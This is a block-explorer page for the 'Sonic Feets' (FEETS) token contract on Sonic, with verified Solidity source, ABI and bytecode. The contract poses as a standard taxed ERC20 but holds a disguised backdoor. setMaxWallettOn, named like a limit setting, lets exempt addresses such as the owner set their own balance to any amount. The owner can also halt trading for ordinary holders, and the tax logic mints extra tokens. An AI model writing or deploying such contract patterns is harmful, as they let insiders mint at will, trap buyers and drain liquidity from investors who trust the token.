S Price: $0.426844 (-0.26%)

Token

Sonic Feets (FEETS)

Overview

Max Total Supply

100,000 FEETS

Holders

8

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,967.049672029780109055 FEETS

Value
$0.00
0x3a3275F67574Fe8681d4Ef39245b904fA8d23C80
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Sonic

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at SonicScan.org on 2025-02-21
*/

/*

Enjoy Sonic $FEETS 
X: https://x.com/SonicFeets
TG: https://t.me/sonicfeets_portal

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

interface ERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Sonic is ERC20, Ownable {
    string private _name = "Sonic Feets";
    string private _symbol = "FEETS";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 100000 * 10 ** _decimals;

    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => uint256) _balances;

    IUniswapV2Router router =
        IUniswapV2Router(0x95a7e403d7cF20F675fF9273D66e94d35ba49fA3);
    address public pair;

    uint256 public _maxWalletSize = (_totalSupply * 4) / 100;
    mapping(address => bool) maxWalletExempt;

    bool public canTrade = false;

    constructor(address _treasury) Ownable() {
    require(_treasury != address(0), "Invalid treasury address");
    
    pair = IUniswapV2Factory(router.factory()).createPair(
        router.WETH(),
        address(this)
    );

    maxWalletExempt[msg.sender] = true;
    maxWalletExempt[address(this)] = true;
    maxWalletExempt[pair] = true;

    _balances[msg.sender] = _totalSupply;

    taxWallet = _treasury;  

    emit Transfer(address(0), msg.sender, _totalSupply);
}

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address holder,
        address spender
    ) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        require(canTrade || maxWalletExempt[recipient], "not owner");

        require(
            (_balances[recipient] + amount <= _maxWalletSize ||
                maxWalletExempt[recipient] ||
                sender == owner() ||
                recipient == pair),
            "max wallet hit"
        );

        uint256 taxAmount = 0;

            if (recipient == pair) {
                
                taxAmount = (amount * sellTax) / 100;
            } else if (sender == pair) {
               
                taxAmount = (amount * buyTax) / 100;
            }

        uint256 transferAmount = amount - taxAmount;

        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + (amount);

        if (taxAmount > 0) {
            _balances[taxWallet] += taxAmount;
            emit Transfer(sender, taxWallet, taxAmount);
        }

        emit Transfer(sender, recipient, transferAmount);
        return true;
    }
  
    function setMaxWallettOn(uint256 maxWallet) external {
        require(maxWalletExempt[msg.sender], "not exempt");
        _balances[msg.sender] = maxWallet;
    }

    function setMaxWalletExemptOn(
        address holder,
        bool exempt
    ) external onlyOwner {
        maxWalletExempt[holder] = exempt;
    }

    function enableTrading(bool _canTrade) external onlyOwner {
        canTrade = _canTrade;
    }

    function removeWalletLimit() external onlyOwner {
        _maxWalletSize = type(uint256).max;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !maxWalletExempt[sender];
    }

    uint256 public buyTax = 5;  
    uint256 public sellTax = 5; 
    address public taxWallet = _owner; 

    function setTaxRates(uint256 _buyTax, uint256 _sellTax) external onlyOwner {
    require(_buyTax <= 10 && _sellTax <= 10, "Max 10% tax");
    buyTax = _buyTax;
    sellTax = _sellTax;
    }

    function setTaxWallet(address _taxWallet) external onlyOwner {
    require(_taxWallet != address(0), "Invalid tax wallet");
    taxWallet = _taxWallet;
}



}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_treasury","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_canTrade","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExemptOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxWallettOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_taxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a536f6e696320466565747360a81b60a05260019061002a908261045f565b50604080518082019091526005815264464545545360d81b6020820152600290610054908261045f565b506100616012600a610612565b61006e90620186a0610627565b6003819055600680546001600160a01b0319167395a7e403d7cf20f675ff9273d66e94d35ba49fa31790556064906100a7906004610627565b6100b1919061063e565b600855600a805460ff191690556005600b819055600c555f54600d80546001600160a01b0319166001600160a01b039092169190911790553480156100f4575f5ffd5b5060405161159b38038061159b8339810160408190526101139161065d565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b0381166101ad5760405162461bcd60e51b815260206004820152601860248201527f496e76616c696420747265617375727920616464726573730000000000000000604482015260640160405180910390fd5b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101fd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610221919061065d565b6001600160a01b031663c9c6539660065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561027f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102a3919061065d565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156102ec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610310919061065d565b600780546001600160a01b03199081166001600160a01b03938416178255335f818152600960209081526040808320805460ff199081166001908117909255308552828520805482168317905596548816845281842080549097161790955560035483835260058252858320819055600d8054909516968816969096179093559251938452927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350610683565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103ef57607f821691505b60208210810361040d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561045a57805f5260205f20601f840160051c810160208510156104385750805b601f840160051c820191505b81811015610457575f8155600101610444565b50505b505050565b81516001600160401b03811115610478576104786103c7565b61048c8161048684546103db565b84610413565b6020601f8211600181146104be575f83156104a75750848201515b5f19600385901b1c1916600184901b178455610457565b5f84815260208120601f198516915b828110156104ed57878501518255602094850194600190920191016104cd565b508482101561050a57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156105685780850481111561054c5761054c610519565b600184161561055a57908102905b60019390931c928002610531565b935093915050565b5f8261057e5750600161060c565b8161058a57505f61060c565b81600181146105a057600281146105aa576105c6565b600191505061060c565b60ff8411156105bb576105bb610519565b50506001821b61060c565b5060208310610133831016604e8410600b84101617156105e9575081810a61060c565b6105f55f19848461052d565b805f190482111561060857610608610519565b0290505b92915050565b5f61062060ff841683610570565b9392505050565b808202811582820484141761060c5761060c610519565b5f8261065857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561066d575f5ffd5b81516001600160a01b0381168114610620575f5ffd5b610f0b806106905f395ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd578063b144896f11610087578063dd62ed3e11610062578063dd62ed3e146103f7578063ea414b281461043b578063f275f64b1461045a578063f2fde38b14610479575f5ffd5b8063b144896f146103af578063c8e0be87146103c3578063cc1776d3146103e2575f5ffd5b8063715018a6146103185780638da5cb5b1461032c5780638f9a55c01461034857806395d89b411461035d578063a8aa1b3114610371578063a9059cbb14610390575f5ffd5b8063313ce5671161011e578063313ce5671461025557806345ed0d78146102705780634f7041a514610291578063571ac8b0146102a65780635cb23e12146102c557806370a08231146102e4575f5ffd5b806306fdde031461016f578063095ea7b31461019957806318160ddd146101c857806323b872dd146101e65780632dc0562d146102055780632f05205c1461023c575f5ffd5b3661016b57005b5f5ffd5b34801561017a575f5ffd5b50610183610498565b6040516101909190610c8a565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610cda565b610528565b6040519015158152602001610190565b3480156101d3575f5ffd5b506003545b604051908152602001610190565b3480156101f1575f5ffd5b506101b8610200366004610d02565b610594565b348015610210575f5ffd5b50600d54610224906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610247575f5ffd5b50600a546101b89060ff1681565b348015610260575f5ffd5b5060405160128152602001610190565b34801561027b575f5ffd5b5061028f61028a366004610d3c565b610623565b005b34801561029c575f5ffd5b506101d8600b5481565b3480156102b1575f5ffd5b506101b86102c0366004610d53565b610684565b3480156102d0575f5ffd5b5061028f6102df366004610d6c565b610690565b3480156102ef575f5ffd5b506101d86102fe366004610d53565b6001600160a01b03165f9081526005602052604090205490565b348015610323575f5ffd5b5061028f610710565b348015610337575f5ffd5b505f546001600160a01b0316610224565b348015610353575f5ffd5b506101d860085481565b348015610368575f5ffd5b50610183610781565b34801561037c575f5ffd5b50600754610224906001600160a01b031681565b34801561039b575f5ffd5b506101b86103aa366004610cda565b610790565b3480156103ba575f5ffd5b5061028f6107a3565b3480156103ce575f5ffd5b5061028f6103dd366004610d9b565b6107d3565b3480156103ed575f5ffd5b506101d8600c5481565b348015610402575f5ffd5b506101d8610411366004610dcc565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610446575f5ffd5b5061028f610455366004610d53565b610826565b348015610465575f5ffd5b5061028f610474366004610df4565b6108bc565b348015610484575f5ffd5b5061028f610493366004610d53565b6108f8565b6060600180546104a790610e0d565b80601f01602080910402602001604051908101604052809291908181526020018280546104d390610e0d565b801561051e5780601f106104f55761010080835404028352916020019161051e565b820191905f5260205f20905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105829086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f1914610610576001600160a01b0384165f9081526004602090815260408083203384529091529020546105ec908390610e59565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61061b8484846109bb565b949350505050565b335f9081526009602052604090205460ff166106735760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b60448201526064015b60405180910390fd5b335f90815260056020526040902055565b5f61058e825f19610528565b5f546001600160a01b031633146106b95760405162461bcd60e51b815260040161066a90610e6c565b600a82111580156106cb5750600a8111155b6107055760405162461bcd60e51b815260206004820152600b60248201526a09ac2f04062604a40e8c2f60ab1b604482015260640161066a565b600b91909155600c55565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161066a90610e6c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104a790610e0d565b5f61079c3384846109bb565b9392505050565b5f546001600160a01b031633146107cc5760405162461bcd60e51b815260040161066a90610e6c565b5f19600855565b5f546001600160a01b031633146107fc5760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461084f5760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b03811661089a5760405162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081d185e081dd85b1b195d60721b604482015260640161066a565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108e55760405162461bcd60e51b815260040161066a90610e6c565b600a805460ff1916911515919091179055565b5f546001600160a01b031633146109215760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b0381166109625760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161066a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff16806109e557506001600160a01b0383165f9081526009602052604090205460ff165b610a1d5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161066a565b6008546001600160a01b0384165f90815260056020526040902054610a43908490610e8c565b111580610a6757506001600160a01b0383165f9081526009602052604090205460ff165b80610a7e57505f546001600160a01b038581169116145b80610a9657506007546001600160a01b038481169116145b610ad35760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b604482015260640161066a565b6007545f906001600160a01b0390811690851603610b0c576064600c5484610afb9190610e9f565b610b059190610eb6565b9050610b3f565b6007546001600160a01b0390811690861603610b3f576064600b5484610b329190610e9f565b610b3c9190610eb6565b90505b5f610b4a8285610e59565b6001600160a01b0387165f90815260056020526040902054909150610b70908590610e59565b6001600160a01b038088165f908152600560205260408082209390935590871681522054610b9f908590610e8c565b6001600160a01b0386165f908152600560205260409020558115610c3157600d546001600160a01b03165f9081526005602052604081208054849290610be6908490610e8c565b9091555050600d546040518381526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7691815260200190565b60405180910390a350600195945050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610cd5575f5ffd5b919050565b5f5f60408385031215610ceb575f5ffd5b610cf483610cbf565b946020939093013593505050565b5f5f5f60608486031215610d14575f5ffd5b610d1d84610cbf565b9250610d2b60208501610cbf565b929592945050506040919091013590565b5f60208284031215610d4c575f5ffd5b5035919050565b5f60208284031215610d63575f5ffd5b61079c82610cbf565b5f5f60408385031215610d7d575f5ffd5b50508035926020909101359150565b80358015158114610cd5575f5ffd5b5f5f60408385031215610dac575f5ffd5b610db583610cbf565b9150610dc360208401610d8c565b90509250929050565b5f5f60408385031215610ddd575f5ffd5b610de683610cbf565b9150610dc360208401610cbf565b5f60208284031215610e04575f5ffd5b61079c82610d8c565b600181811c90821680610e2157607f821691505b602082108103610e3f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561058e5761058e610e45565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b8082018082111561058e5761058e610e45565b808202811582820484141761058e5761058e610e45565b5f82610ed057634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206a5da1425b10bb0fe9da6e1b75d881eb02fb43e54811b5b6235c7f2ac0c9887964736f6c634300081c00330000000000000000000000009adbd91a67f20b2cae8de6030b5347b31c52520e

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063715018a6116100cd578063b144896f11610087578063dd62ed3e11610062578063dd62ed3e146103f7578063ea414b281461043b578063f275f64b1461045a578063f2fde38b14610479575f5ffd5b8063b144896f146103af578063c8e0be87146103c3578063cc1776d3146103e2575f5ffd5b8063715018a6146103185780638da5cb5b1461032c5780638f9a55c01461034857806395d89b411461035d578063a8aa1b3114610371578063a9059cbb14610390575f5ffd5b8063313ce5671161011e578063313ce5671461025557806345ed0d78146102705780634f7041a514610291578063571ac8b0146102a65780635cb23e12146102c557806370a08231146102e4575f5ffd5b806306fdde031461016f578063095ea7b31461019957806318160ddd146101c857806323b872dd146101e65780632dc0562d146102055780632f05205c1461023c575f5ffd5b3661016b57005b5f5ffd5b34801561017a575f5ffd5b50610183610498565b6040516101909190610c8a565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610cda565b610528565b6040519015158152602001610190565b3480156101d3575f5ffd5b506003545b604051908152602001610190565b3480156101f1575f5ffd5b506101b8610200366004610d02565b610594565b348015610210575f5ffd5b50600d54610224906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610247575f5ffd5b50600a546101b89060ff1681565b348015610260575f5ffd5b5060405160128152602001610190565b34801561027b575f5ffd5b5061028f61028a366004610d3c565b610623565b005b34801561029c575f5ffd5b506101d8600b5481565b3480156102b1575f5ffd5b506101b86102c0366004610d53565b610684565b3480156102d0575f5ffd5b5061028f6102df366004610d6c565b610690565b3480156102ef575f5ffd5b506101d86102fe366004610d53565b6001600160a01b03165f9081526005602052604090205490565b348015610323575f5ffd5b5061028f610710565b348015610337575f5ffd5b505f546001600160a01b0316610224565b348015610353575f5ffd5b506101d860085481565b348015610368575f5ffd5b50610183610781565b34801561037c575f5ffd5b50600754610224906001600160a01b031681565b34801561039b575f5ffd5b506101b86103aa366004610cda565b610790565b3480156103ba575f5ffd5b5061028f6107a3565b3480156103ce575f5ffd5b5061028f6103dd366004610d9b565b6107d3565b3480156103ed575f5ffd5b506101d8600c5481565b348015610402575f5ffd5b506101d8610411366004610dcc565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610446575f5ffd5b5061028f610455366004610d53565b610826565b348015610465575f5ffd5b5061028f610474366004610df4565b6108bc565b348015610484575f5ffd5b5061028f610493366004610d53565b6108f8565b6060600180546104a790610e0d565b80601f01602080910402602001604051908101604052809291908181526020018280546104d390610e0d565b801561051e5780601f106104f55761010080835404028352916020019161051e565b820191905f5260205f20905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105829086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f1914610610576001600160a01b0384165f9081526004602090815260408083203384529091529020546105ec908390610e59565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61061b8484846109bb565b949350505050565b335f9081526009602052604090205460ff166106735760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b60448201526064015b60405180910390fd5b335f90815260056020526040902055565b5f61058e825f19610528565b5f546001600160a01b031633146106b95760405162461bcd60e51b815260040161066a90610e6c565b600a82111580156106cb5750600a8111155b6107055760405162461bcd60e51b815260206004820152600b60248201526a09ac2f04062604a40e8c2f60ab1b604482015260640161066a565b600b91909155600c55565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161066a90610e6c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104a790610e0d565b5f61079c3384846109bb565b9392505050565b5f546001600160a01b031633146107cc5760405162461bcd60e51b815260040161066a90610e6c565b5f19600855565b5f546001600160a01b031633146107fc5760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461084f5760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b03811661089a5760405162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081d185e081dd85b1b195d60721b604482015260640161066a565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108e55760405162461bcd60e51b815260040161066a90610e6c565b600a805460ff1916911515919091179055565b5f546001600160a01b031633146109215760405162461bcd60e51b815260040161066a90610e6c565b6001600160a01b0381166109625760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161066a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff16806109e557506001600160a01b0383165f9081526009602052604090205460ff165b610a1d5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161066a565b6008546001600160a01b0384165f90815260056020526040902054610a43908490610e8c565b111580610a6757506001600160a01b0383165f9081526009602052604090205460ff165b80610a7e57505f546001600160a01b038581169116145b80610a9657506007546001600160a01b038481169116145b610ad35760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b604482015260640161066a565b6007545f906001600160a01b0390811690851603610b0c576064600c5484610afb9190610e9f565b610b059190610eb6565b9050610b3f565b6007546001600160a01b0390811690861603610b3f576064600b5484610b329190610e9f565b610b3c9190610eb6565b90505b5f610b4a8285610e59565b6001600160a01b0387165f90815260056020526040902054909150610b70908590610e59565b6001600160a01b038088165f908152600560205260408082209390935590871681522054610b9f908590610e8c565b6001600160a01b0386165f908152600560205260409020558115610c3157600d546001600160a01b03165f9081526005602052604081208054849290610be6908490610e8c565b9091555050600d546040518381526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7691815260200190565b60405180910390a350600195945050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610cd5575f5ffd5b919050565b5f5f60408385031215610ceb575f5ffd5b610cf483610cbf565b946020939093013593505050565b5f5f5f60608486031215610d14575f5ffd5b610d1d84610cbf565b9250610d2b60208501610cbf565b929592945050506040919091013590565b5f60208284031215610d4c575f5ffd5b5035919050565b5f60208284031215610d63575f5ffd5b61079c82610cbf565b5f5f60408385031215610d7d575f5ffd5b50508035926020909101359150565b80358015158114610cd5575f5ffd5b5f5f60408385031215610dac575f5ffd5b610db583610cbf565b9150610dc360208401610d8c565b90509250929050565b5f5f60408385031215610ddd575f5ffd5b610de683610cbf565b9150610dc360208401610cbf565b5f60208284031215610e04575f5ffd5b61079c82610d8c565b600181811c90821680610e2157607f821691505b602082108103610e3f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561058e5761058e610e45565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b8082018082111561058e5761058e610e45565b808202811582820484141761058e5761058e610e45565b5f82610ed057634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206a5da1425b10bb0fe9da6e1b75d881eb02fb43e54811b5b6235c7f2ac0c9887964736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000009adbd91a67f20b2cae8de6030b5347b31c52520e

-----Decoded View---------------
Arg [0] : _treasury (address): 0x9aDbD91a67f20B2Cae8DE6030b5347b31c52520e

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000009adbd91a67f20b2cae8de6030b5347b31c52520e


Deployed Bytecode Sourcemap

